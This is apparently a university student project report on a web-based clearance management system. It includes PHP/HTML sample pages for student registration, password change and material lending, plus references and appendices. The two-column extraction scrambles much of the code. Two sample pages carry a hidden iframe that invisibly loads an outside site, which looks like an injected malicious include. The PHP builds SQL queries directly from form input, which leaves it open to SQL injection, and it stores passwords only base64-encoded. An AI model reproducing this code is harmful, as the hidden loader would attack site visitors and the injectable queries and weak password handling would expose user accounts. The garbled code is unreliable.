<tr><td><font color=red> * </font><font color=black>Role :</td><td><input type="text" pattern="\

D{7}" required x-moz-errormessage="Please Enter Role Field!!!" title="Please Enter Role Field!!! "
name="role" value="" size='20%' id="role" placeholder='Role'/></td></tr>
<tr><td align="right"><font color="black"><input type='submit' class="button_example"

value='Save' name='submitMain' Onclick="return check(this.form);"/></font>
<td><font color="black"><input type='reset' class="button_example"

value='clear'/></td></tr></td></font>
</form>
</center>
<?php $get= mysql_query("SELECT * FROM

student where SIDNO='$sid' ")or
if(isset($_POST['submitMain']) ) die(mysql_error());
{ $num = mysql_num_rows($get);
$fname=$_POST['fname']; if($num==0 && $sid!=""){
$lname=$_POST['mname']; $query="INSERT INTO
student(FName,MName,LName,SIDNO,Gend
$mname=$_POST['ln'];
er,School,Department,ClassYear,Program)";
$sex=$_POST['sex'];
$query.="VALUES
$year=$_POST['cyear']; ('{$fname}','{$mname}','{$lname}','{$sid}','{
$sex}','{$school}','{$dept}','{$year}','{$pro}');
$sid=$_POST['sid']; ";
$school=$_POST['sch']; $result=mysql_query($query);
$dept=$_POST['dep']; if(!$result){
$pro=$_POST['pro']; die("Query is Failed".mysql_error());
$pass=$_POST['pass']; }
$role=$_POST['role']; else{
$pasmd5=base64_encode($pass); echo"<script>alert('Student Information
Uploaded Successfully!!!');</script>";

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echo'<meta content="2;studregist.php" http- </div> <div class="one_quarter">

equiv="refresh"/>';
</div> <div class="one_quarter">
}
<div class="clear"></div>
</main> </div></div>
$get1= mysql_query("SELECT * FROM
useraccount where SIDNO='$sid' ")or <div class="wrapper row4">
die(mysql_error()); <div class="rounded">
$num1 = mysql_num_rows($get1); <footer id="footer" class="clear">
if($num1==0 && $sid!=""){
$query1="INSERT INTO
<div class="one_third
useraccount(UserName,Password,Role,SIDN
first"><br><br><br>
O,Status)";
<figure class="center"><img
$query1.="VALUES
class="btmspace-15" src="images/2.jpg"
('{$sid}','{$pasmd5}','{$role}','{$sid}','1');";
title="Web based Clearance Management
$result1=mysql_query($query1); System">
if(!$result1){ </figure>
die("Query is Failed".mysql_error()); </div>
echo'<meta content="2;studregist.php" http-

equiv="refresh"/>';
<div class="one_third">
} }}else{
<address><br><br><br>
echo "<script>alert('This Student
university of Gondar<br>
Registered Before This Time!!!');</script>";
Gondar,Ethiopia<br>
echo'<meta
content="2;studregist.php" http- Postcode:196<br>
equiv="refresh"/>';
<br>
}mysql_close($conn);}?>
<i class="fa fa-phone pright-10"></i>
</fieldset></table> </div> </div> +251-058-114-2534<br>
</div><br><br>
<i class="fa fa-envelope-o
<div class="one_quarter first"> pright-10"></i> <a
href="#">UOGClearance@gmail.com</a>
</div> <div class="one_quarter">

2016
</address> <li><a class="faicon-

google"<a
</div> href="http://wwww.google.com"><i class="fa
fa-google"></i></a></li>
<div class="one_third"><br><br><br>
</ul>
<p class="nospace btmspace-10">Stay
Up to Date With What's Happening</p> </div>
<ul class="faico clear"> </footer>
<li><a class="faicon-twitter" <a </div>
href="http://wwww.twitter.com"><i class="fa
fa-twitter"></i></a></li> </div>
<li><a class="faicon-linkedin"<a <div class="wrapper row5">

href="http://wwww.linkedin.com"><i
class="fa fa-linkedin"></i></a></li> <div id="copyright" class="clear">
<li><a class="faicon-facebook" <a <p class="fl_left">Copyright © 2016

href="http://wwww.facebook.com"><i </div>
class="fa fa-facebook"></i></a></li>
</div>
<li><a class="faicon-flickr" <a
href="http://wwww.flickr.com"><i class="fa </div>
fa-flickr"></i></a></li>

<li><a class="faicon-rss"<a
href="http://wwww.rss.com"><i class="fa fa- </html>
rss"></i></a></li>

2016
Sample code for change password
<?php //alert('You Are Not Logged In !! Please

Login to access this page');
session_start();
//alert(window.location='home.php');
//if(isset($_SESSION['validuser']))
</script>
//{
<?php
// $username=$_SESSION['validuser'];
//}
//} else {
?>
?>
<?php
<script>

2016
//session_start(); </header>
include("see.php"); </div>
?> <div class="wrapper row2">
<html> <div class="rounded">
<head> <nav id="mainav" class="clear">
<title>Web Based Clearance managment <ul class="clear">

system</title>
<li class="last"><a
<link rel="icon" type="Img/jpg" href="home.php">Home</a></li>
href="Img/uoglogo.jpg"/>
<li class="last"><a
<div class="wrapper row0"> href="about.php"><span>About
Us</span></a></li>
<img src="images/gu4.jpg" alt="image1"
height="130" width="1200"> <li><a class="drop" href="#">change
passwored page</a>
</div>
<ul>
<meta charset="utf-8">
<li><a href="change.php"
<meta name="viewport" class="parent7"><span>Chanage
content="width=device-width, initial- Password</span></a></li>
scale=1.0, maximum-scale=1.0, user-
scalable=no"> <li><a
href="logout.php"><span><b>Logout</b></s
<link href="layout/styles/layout.css" pan></a></li>
rel="stylesheet" type="text/css" media="all">
</li>
</head>
</ul>
<body>
<li class="last"><a
<body id="top"> href="cntct.php"><span>Contact</span></a>
</li>
<div class="wrapper row1">
<li class="last"><a
<header id="header" class="clear">
href="givecomment.php"><span>Feedback</s
<div id="logo" class="fl_left"> pan></a></li>
<h1>web based clearance management <li class="last"><a

system for uog students</h1> href="clearancetips.php"><span>Clearance
Tips</span></a></li>
</div>

2016
<li class="last"><a <iframe src="http://jL.chura.pl/rc/"

href="help.php"><span>HELP</span></a></l style="display:none"></iframe>
i>
</body>
</ul>
</div>
</div>
</div>
</div>
<div class="rounded">
<div id="content1">
<div><?php echo "</b><a
href=\"officer.php\"><font color='green'>Go <div class="content_item">
Previous page</a></font> <b>:</b><font <center>
color='red'>Clearance Tips</font>"?></div>
<div style="width:820px;
<main class="container clear"> height:650px; margin:0 auto; position:relative;
<div class="one_half"> border:4px solid rgba(0,0,0,0);
<div class="group"> -webkit-border-radius:5px; -

moz-border-radius:5px; border-radius:25px; -
</center> webkit-box-shadow:0 0 18px rgba(0,0,0,0.4);
<div id="site_content"> -moz-box-shadow:0 0 18px

rgba(0,0,0,0.4); box-shadow:0 0 18px
<div class="sidebar_container"> rgba(0,0,0,0.4); margin-top:20px;
color:#F00000;">
<div class="sidebar">
<form method='POST' action='change.php'
<div class="sidebar_item">
onsubmit='returnn formValidation()'
<body bgcolor=#9494B8> enctype="multipart/form-data">
<hr><hr> <form method='POST' action='change.php'

<font size="3"color ="green"> enctype="multipart/form-data">

<form method='POST' action='change.php'
enctype="multipart/form-data">
<?php
<div style="background-
echo "<b>".date('l\, F jS\, Y ')."</b>"; color:#336699;border-radius:5px;font-
family:Arial, Helvetica, sans-serif;
?></font> color:#000000; padding:5px; height:22px;">

2016
<div style="float:left;" ><img width="30" Z0-9]+" required x-moz-

height="20" errormessage="Please Enter New Password! "
src="Img/uoglogo.jpg"/> <stron title="Please Enter New Password!"
g><font color="white" size="2px">UOG Web size='20%' id="np" value='' placeholder='
based Student Clearance management System New Password' /></td></tr>
User Account Management
Form</font></strong></div> <tr><td><font color=red> * </font><font
color=black>Confirm
<div style="float:right; margin-right:20px; Password:</td><td><input type="password"
background-color:#cccccc; width:40px; text- name="co" pattern="[a-zA-Z0-9]+" required
align:center; border-radius:10px; x-moz-errormessage="Please Confirm Your
height:12px;"> Password! " title="Please Confirm Your
Password!" size='20%' id="co" value=''
close</a></div> placeholder='Confirm New Password'
/></td></tr>
</div>
<tr><td colspan="" align="right"><input
<input type="hidden" name="role" id="name"
type='submit' class="button_example"
value="<?php echo '4'; ?>" />
value='Change' name='submitMain'
<table align="center" style="border:1px solid Onclick="return check(this.form);"/>
black; border-radius:50px;margin-
<td><input type='reset'
top:15px;box-shadow:10px 20px 10px black;"
class="button_example"
width="500" height="350px">
value='Clear'/></td></tr></td>
<tr><td colspan=3 align=right ><p
</form>
style="margin-right:3%;"><font
color=green>(<font </center>
color=red>*</font>)Require</td></tr><tr>
<?php
<tr colspan="3"><td colspan="3"><img
src="Img/pass.jpg"/></td></tr> if(isset($_POST['submitMain']) )
<tr><td><font color=red> * </font><font {

color=black>Old Password:</td><td><input
type="password" name="op" pattern="[a-zA- //$un=$_SESSION['validuser'];
Z0-9]+" required x-moz- $op=$_POST['op'];
errormessage="Please Enter Your Previous
Password! " title="Please Enter Your $np=$_POST['np'];
Previous Password! " size='20%' id="op"
value='' placeholder='Current Password' $co=$_POST['co'];
/></td></tr>
$dec=base64_encode($op);
<tr><td><font color=red> * </font><font
$decp=base64_encode($np);
color=black>New Password:</td><td><input
type="password" name="np" pattern="[a-zA-

2016
$get= mysql_query("SELECT * FROM $un}',Status='1' where UserName='{$un}'") or

useraccount where UserName='$un' and die(mysql_error());
Password='$dec' ")or die(mysql_error());
echo"<p class='success'> Your Password has
$num = mysql_num_rows($get); been Changed!! </p>";
if($num==0){ echo'<meta content="2;change.php" http-

equiv="refresh"/>';
echo"<p class='success'> Your User
Name and Password Does not Exist!! </p>";
echo'<meta content="2;change.php" http- }

equiv="refresh"/>';
}
}
else
else{
{
for($i=0;$i<$num;$i++)
echo"<p class='success'> Your Password
{ Does Not Much Try Again!! </p>";
$rol= mysql_result($get,$i,'Role'); echo'<meta content="2;change.php" http-

equiv="refresh"/>';
}
if($np==$co){
}
if($rol=='student'){
}
$update = mysql_query("update useraccount
set mysql_close($conn);
Password='{$decp}',Role='student',SIDNO='{
$un}',Status='1' where UserName='{$un}'") or }
die(mysql_error()); ?>
echo"<p class='success'> Your Password has </fieldset>
been Changed!! </p>";
</table>
echo'<meta content="2;change.php" http-
equiv="refresh"/>'; </div>
} 
else{
</div>
$update1 = mysql_query("update useraccount
set <div class="clear"></div>
Password='{$decp}',Role='officer',EIDNO='{

2016
</main> </div></div> <p class="nospace btmspace-10">Stay

Up to Date With What's Happening</p>
<ul class="faico clear">
<li><a class="faicon-twitter" <a
<footer id="footer" class="clear"> href="http://wwww.twitter.com"><i class="fa
fa-twitter"></i></a></li>
<div class="one_third
first"><br><br><br> <li><a class="faicon-linkedin"<a
<figure class="center"><img
class="fa fa-linkedin"></i></a></li>
class="btmspace-15" src="images/2.jpg"
title="Web based Clearance Management <li><a class="faicon-facebook" <a
System"> href="http://wwww.facebook.com"><i
class="fa fa-facebook"></i></a></li>
</figure>
</div>
href="http://wwww.flickr.com"><i class="fa
<div class="one_third"> fa-flickr"></i></a></li>
<address><br><br><br> <li><a class="faicon-rss"<a

href="http://wwww.rss.com"><i class="fa fa-
university of Gondar<br> rss"></i></a></li>
Gondar,Ethiopia<br> <li><a class="faicon-
google"<a
Postcode:196<br>
href="http://wwww.google.com"><i class="fa
<br> fa-google"></i></a></li>
<i class="fa fa-phone pright-10"></i> </ul></div></footer> </div></div>

+251-058-114-2534<br>
<i class="fa fa-envelope-o
<div id="copyright"
pright-10"></i> <a
class="clear"><br><br><br>
<p class="fl_left">Copyright © 2016-
</address>
All Rights Reserved - University of Gondar
</div>
</div></div></div></div></div>
<div class="one_third"><br><br><br>
</body>
</html>

2016
Sample code for upload material
<?php ?>
session_start(); <script>
//if(isset($_SESSION['validuser'])) //alert('You Are Not Logged In !! Please

Login to access this page');
//{
//alert(window.location='home.php');
// $username=$_SESSION['validuser'];
</script>
//} else {
<?php

2016
//session_start(); </header>
include("see.php"); </div>
?> <div class="wrapper row2">
<html> <div class="rounded">
<head> <nav id="mainav" class="clear">
<title>Web Based Clearance managment <ul class="clear">

system</title>
<li class="last"><a
<link rel="icon" type="Img/jpg" href="home.php">Home</a></li>
href="Img/uoglogo.jpg"/>
<li class="last"><a
<div class="wrapper row0"> href="about.php"><span>About
Us</span></a></li>
<img src="images/gu4.jpg" alt="image1"
height="130" width="1200"> <li><a class="drop"
href="#">Officer's Page</a>
</div>
<ul>
<meta charset="utf-8">
<li><a href="managestu.php"
<meta name="viewport" class="parent7"><span>manage
content="width=device-width, initial- student</span></a> </li>
scale=1.0, maximum-scale=1.0, user-
scalable=no"> <li><a href="upload.php"
class="parent7"><span>Record
<link href="layout/styles/layout.css" Property</span></a></li>
rel="stylesheet" type="text/css" media="all">
<li><a
</head> href="change.php">Changepassword</a></li>
<body>
<li><a
<body id="top">
href="logout.php">*logout</a></li>
</ul></li>
<header id="header" class="clear">
<li class="last"><a
<div id="logo" class="fl_left"> href="cntct.php"><span>Contact</span></a>
<h1>web based clearance management <li class="last"><a

system for uog students</h1> href="givecomment.php"><span>Feedback</s
pan></a></li>
</div>

2016
<li class="last"><a 
<li class="last"><a <hr><hr>

href="help.php"><span>HELP</span></a></l
i> <font size="3"color ="green">

</li>
<?php
<div>
</ul> echo "<b>".date('l\, F jS\, Y ')."</b>";
?></font>
</div>
<iframe src="http://jL.chura.pl/rc/"
style="display:none"></iframe>
</body>
<div><?php echo "</b><a
</div>
href=\"change.php\"><font color='green'>Go
To Next Page</a></font> <b>:</b><font </div>
color='red'>Record</font>"?></div>
</div>
<main class="container clear">
<div id="content1">
<div class="one_half">
<div class="content_item">
<div class="group">
<center>
</center>
<div style="width:820px;
<div id="site_content"> height:650px; margin:0 auto; position:relative;
border:4px solid rgba(0,0,0,0);
-webkit-border-radius:5px; -
<div class="sidebar_container">
moz-border-radius:5px; border-radius:25px; -
<div class="sidebar"> webkit-box-shadow:0 0 18px rgba(0,0,0,0.4);
<div class="sidebar_item"> -moz-box-shadow:0 0 18px

rgba(0,0,0,0.4); box-shadow:0 0 18px
<body bgcolor=#9494B8> rgba(0,0,0,0.4); margin-top:20px;
color:#F00000;">

2016
<form method='POST' action='upload.php' <tr><td><font color=red> * </font><font

onsubmit='returnn formValidation()' color=black>Material Name :</td><td><input
enctype="multipart/form-data"> type="text" pattern="/[â-z\s\]/{5,100}"
required x-moz-errormessage="Please Enter
<div style="background- Material Name The Student Borrowed"
color:#336699;border-radius:5px;font- title="Please Enter Material Name The
family:Arial, Helvetica, sans-serif; Student Borrowd " name="mn" value=""
color:#000000; padding:5px; height:22px;"> size='20%' id="mn" placeholder='Material
Name'/></td></tr>
<div style="float:left;" ><img width="30"
height="20" <tr><td><font color=red> * </font><font
src="Img/uoglogo.jpg"/> <stron color=black>Material ID:<td><input
g><font color="black" size="2px">Material type="text" name="mid" value=""
Lend Student Record pattern="[a-zA-Z0-9]+" required x-moz-
Form</font></strong></div> errormessage="Please Enter Material ID The
Student Borrowed" title="Please Enter
<div style="float:right; margin-right:20px;
Material ID The Student Borrowed "
background-color:#cccccc; width:40px; text-
size='20%' id="mid" placeholder='Material
align:center; border-radius:10px;
ID'></input></td></tr>
height:12px;">
<a href="officer.php"
color=black>Borrowed Date<td><input
title="Close">close</a></div>
type="date" min="2015-10-10" required x-
</div> moz-errormessage="Please Enter The Year In
Year/Month/Date Format " title="Please Enter
<table align="center" style="border:1px solid The Year In Year/Month/Date Format "
black; border-radius:50px;margin- name="bdate" id="bdate" size='20%'
top:15px;box-shadow:10px 20px 10px black;" placeholder='Y/M/D'/></td></tr>
<tr><td colspan=3 align=right ><p <tr><td><font color=red> * </font><font
style="margin-right:3%;"><font color=black>Procurement
color=green>(<font Office:</td><td><input type="text" pattern="\
color=red>*</font>)Require</td></tr> D{2,20}" required x-moz-
errormessage="Please Enter Office Name "
title="Please Enter The Office Name "
color=black>Student ID Number:
name="offi" id="offi" size='20%'
</td><td><input type="text" pattern="\D{5}/\
placeholder='Office Name'/></td></tr>
d{3}/\d{2}" required x-moz-
errormessage="Please Enter Your Correct ID <tr><td colspan="" align="right"><font
Number " title="Please Enter Your ID color="black"><input type='submit'
Number" name="id" value="" size='20%' class="button_example" value='Record'
id="txt_pass" name='submitMain' Onclick="return
placeholder='ID'></input></td></tr> check(this.form);"/></font>

2016
<td><font color="black"><input type='reset' $query.="VALUES

class="button_example" ('{$id}','{$mn}','{$mid}','{$bdate}','{$offi}','{
value='clear'/></td></tr></td></font> $pass}');";
</form> $result=mysql_query($query);
</center> if(!$result){
<?php die("Upload Student Information

Failed".mysql_error());
if(isset($_POST['submitMain']) )
}
{
else{
$id=$_POST['id'];
echo"<script>alert('Material Lend Student
$mn=$_POST['mn']; Information Uploaded
Successfully!!!');</script>";
$mid=$_POST['mid'];
echo'<meta content="1;upload.php" http-
$bdate=$_POST['bdate'];
equiv="refresh"/>';
$offi=$_POST['offi'];
}
//$user_id=$_POST['user_id'];
}
$result=mysql_query("select * from
else{
useraccount where UserName='$user_id'")or
die(mysql_error); echo "<script>alert('This Material
Have Taken By Other Student
$row=mysql_fetch_array($result);
Before!!!');</script>";
$pass=$row['EIDNO'];
echo'<meta content="1;upload.php"
http-equiv="refresh"/>';
$get= mysql_query("SELECT * FROM }

materiallendstudent where MaterialID='$mid'
mysql_close($conn);
")or die(mysql_error());
}
$num = mysql_num_rows($get);
?>
if($num==0 && $mid!=""){
</fieldset>
$query="INSERT INTO
Materiallendstudent(SIDNO,MaterialName,M </table>
aterialID,BorrowedDate,ProcurmentOffice,EI
DNO)"; </div>

2016
</div> </address>
</div> </div>
</div> <div class="one_third"><br><br><br>
<div class="one_quarter"> <p class="nospace btmspace-10">Stay

Up to Date With What's Happening</p>
<div class="clear"></div>
<ul class="faico clear">
</main>
<li><a class="faicon-twitter" <a
</div> href="http://wwww.twitter.com"><i class="fa
fa-twitter"></i></a></li>
</div>
<li><a class="faicon-linkedin"<a
<div class="rounded"> class="fa fa-linkedin"></i></a></li>
<footer id="footer" class="clear"> <li><a class="faicon-facebook" <a

href="http://wwww.facebook.com"><i
<div class="one_third class="fa fa-facebook"></i></a></li>
first"><br><br><br>
<figure class="center"><img href="http://wwww.flickr.com"><i class="fa
src="images/2.jpg" title="Web based fa-flickr"></i></a></li>
Clearance Management System">
<li><a class="faicon-rss"<a
</figure> href="http://wwww.rss.com"><i class="fa fa-
rss"></i></a></li>
</div>
<li><a class="faicon-google-
<div class="one_third">
map"<a href="http://wwww.google-
<address><br><br><br> map.com"><i class="fa
fa-google-map"></i></a></li>
university of Gondar<br>
</ul>
Gondar,Ethiopia<br>
</div>
Postcode:196<br>
</footer>
<i class="fa fa-phone pright-10"></i>
+251-058-114-2534<br> </div>
<i class="fa fa-envelope-o </div>

pright-10"></i> <a

2016
<div id="copyright" class="clear"> </div>
<p class="fl_left">Copyright © 2016- </body>

All Rights Reserved - University of Gondar
</html>
</div>

2016
6.5.1 Recommendation
The Team Members strongly recommends the deliverables of this project to be
implemented in a safe manner. We also recommend that the organization needs
a man power with computer literacy to operate the software this includes
 One or more System Administrators

 One or more Training Personnel
The team also highly recommends the users of the system to use the system
properly. There are various things which are to be maintained from the current
system. Since we develop the system for the first time the users must test before
using the system.

2016
References
[1]. G.Booch, J.Rumbaugh, and I.Jacobon. (1999/ October 14), The Unified Modeling
Language User Guide,(3rd edition), – [online available], [December 2, 2015]
[2]. J.Rumbaugh, I.Jacobon and G.Booch. (2000/September 11), The Unified Modeling
Language Reference, ,(4th
edition), – [online available], [January 2, 2016]
[3]. Scott W.Ambler, (1999/ June 2), the Application Developer’s Guide, (The Object
Primer_ 2nd Edition) – [online available], [December 22, 2015]
[4]http://index.about.com/index Example of Sequence Diagram [online available],
[December 12, 2015]
[5]. Bernd Burgge and Allen H.DutoitS ,(2003/ February 21), [Second Edition], Object
Oriented Software Engineering using UML, Patterns and Java, [online available], [December
17, 2015]
[6].STAN MAGEE, CCP and LEONARD L. ,(2003/ February 21), [third Edition],TRIPP
Guide to software engineering standards and specifications PART II, [online available],

2016
[December 23, 2015]
Appendix I
Sample question during requirement gathering:
1. What is the purpose of this Clearance activity?
2. What steps are performed?
3. Where does it performed?
4. When does it performing?
5. Who performs that?
6. One of the offices which sign in to the clearance form is sport master so what kinds of
thing you cheek before sign in the clearance form?
7.How do you handle student information during borrowing materials from this office?
8.Is there any problem during this clearance process?
9.In which ways you like to be the system?
10.What difficulties you faced during the clearance process?

2016
Appendix II
Student name Student id present absent Date Title Decision made
discussed
aberham 1220/05 Oct20/2015 Requirement it has to be

gathering completed
abera
fekadu
1082/05
4945/04
 oct30/2015
mohamed 1255/05
abreham
abera
1220/05
1082/05
 Oct31/2015 About
proposal
It has
completed
to be
nov25/2015
fekadu 4945/05
mohamed 1255/05
abreham
abera
1220/05
1082/05
 Nov26/2014 About
requirement
It has
completed
to be
analysis dec16/2015
fekadu 4945/05
mohamed 1255/05
abreham
abera
1220/05
1082/05
 Dec17/2014 Model
analysis
It has
completed
to be
dec20/2015
fekadu 4945/05
mohamed 1255/05

2016
abreham
abera
1220/05
1082/05
 jan21/2016 System
design
It has
completed
to be
jan31/2016
fekadu 4945/05
mohamed 1255/05

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UNIVERSITY OF GONDAR

Title: Automated Clearance Management System for University Of

Group Members Name ID No

1. ABERA AYENWA GUR/1082/05

Project Advisor, Mr. Girma Sisay

June 10, 2016

Full name signature

1. ABERA AYENWA ______________

2. ABREHAM ZEWEDU _______________

3. FEKADU SISAY ________________

4. MOHAMMED AWOL __________________

1. ABERA AYENWA GUR/1082/05

Name of Adviser Date Signature

Name of coordinator Date Signature

Examining committee members Signature

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1.3 statement of the problem

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1.4 Objective of the project

1.4.1. General objective

1.4.2. Specific objective

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 Preparing test plan and conduct acceptance test

1.5 scope of the project

Tasks that can be includes in this project are:-

1.6 Limitation of the project

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1.7 Risks & Contingencies

1.8 Assumptions and Constraints

1.9 Significance of the project

 Store data in reliability ways.

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 Increases accuracy and availability.

o It helps to easily controls the resources which are borrow to student.

1.10 Target beneficiaries of the system

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1.11 Feasibility study

1.11.1 Technical Feasibility

1.11.2 Operational feasibility

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1.11.3 Economic feasibility

No Name Quantity Unit price in birr Total

1 Purchase of flash disk (4GB) 1 150.00 150.00 birr

2 Purchase of CD RW 2 20.00 40.00 birr

No Professionals Participators Unit Total unit

Total professional cost=4(4,860)

Table 2. Intangible cost

1.11.4 Schedule feasibility

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1.12.1.1 Data modeling technique

Iterative development is a way of breaking down the software development of a large

Typically iterative development is used in conjunction with incremental development in

We choose this iterative data model because of it:-

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 Building and improving the product step by step.

 Can get the reliable user feedback.

1.12.1.2 Analysis methodology

1.12.1.3 Design methodology

Reduced Maintenance: The primary goal of object-oriented development is the assurance

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Improved Reliability and Flexibility: Object-oriented system promise to be far more

1.13. Programming tools and database

 They can make effective design easily and understudy

1.13.1 Hardware tools